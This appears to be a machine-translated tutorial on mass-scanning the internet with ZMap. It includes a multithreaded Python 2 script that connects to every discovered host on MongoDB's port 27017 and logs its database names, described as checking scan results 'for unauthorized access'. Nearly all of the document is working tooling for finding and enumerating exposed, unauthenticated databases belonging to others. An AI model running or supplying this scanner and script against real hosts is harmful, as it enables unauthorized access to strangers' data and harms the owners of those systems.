Installation Environment:
sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex git dwarfdump
Download Zmap:
git clone git://github.com/zmap/zmap.git
Install Zmap:
Cmake-denable_hardening=on
Make && make install
(Kali installation Zmap also require additional installation of json-c)
Individuals prefer to scan with profiles.
Zmap-c/etc/zmap/zmap.conf-o Output.txt
A script that uses Python to write a batch validation Zmap scan results for unauthorized access.
The beginning of the code does not set a timeout, the results found just ran off a while, check the official documents of a Half-day Pymongo, found the CONNECTTIMEOUTMS, Sockettimeoutms these two parameters.
Set the connection timeout Connecttimeoutms, do not know why did not work, and changed to set the socket timeout time SOCKETTIMEOUTMS only valid.
Pymongo the default number of connections is 100, so the number of threads in the code is 99, you can adjust.
Attached is a multithreaded verification script written by the practitioner:
#/usr/bin/python
#coding:utf8
import sys
import pymongo
import urllib2,threading,time
import sys
from Queue import Queue
def conn(addr,output):
try:
w = open(output,'a')
conn = pymongo.MongoClient(addr,27017,socketTimeoutMS=3000)
dbname = conn.database_names()
wr = "Ip: "+addr+"\r\n"
wr += "dbs:\r\n"
wr += str(dbname)+"\r\n"
w.write(wr)
print wr
conn.close()
w.close()
except:
print addr+" connection was failed\r\n"
class MyThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
global queue
while not queue.empty():
ip = queue.get()
conn(ip,sys.argv[1]+".txt")
if __name__ == "__main__":
queue = Queue()
a = open(sys.argv[1],'r')
for ip in a.readlines():
ip = ip.strip('\n')
queue.put(ip)
for i in range(99):
c = MyThread()
c.start()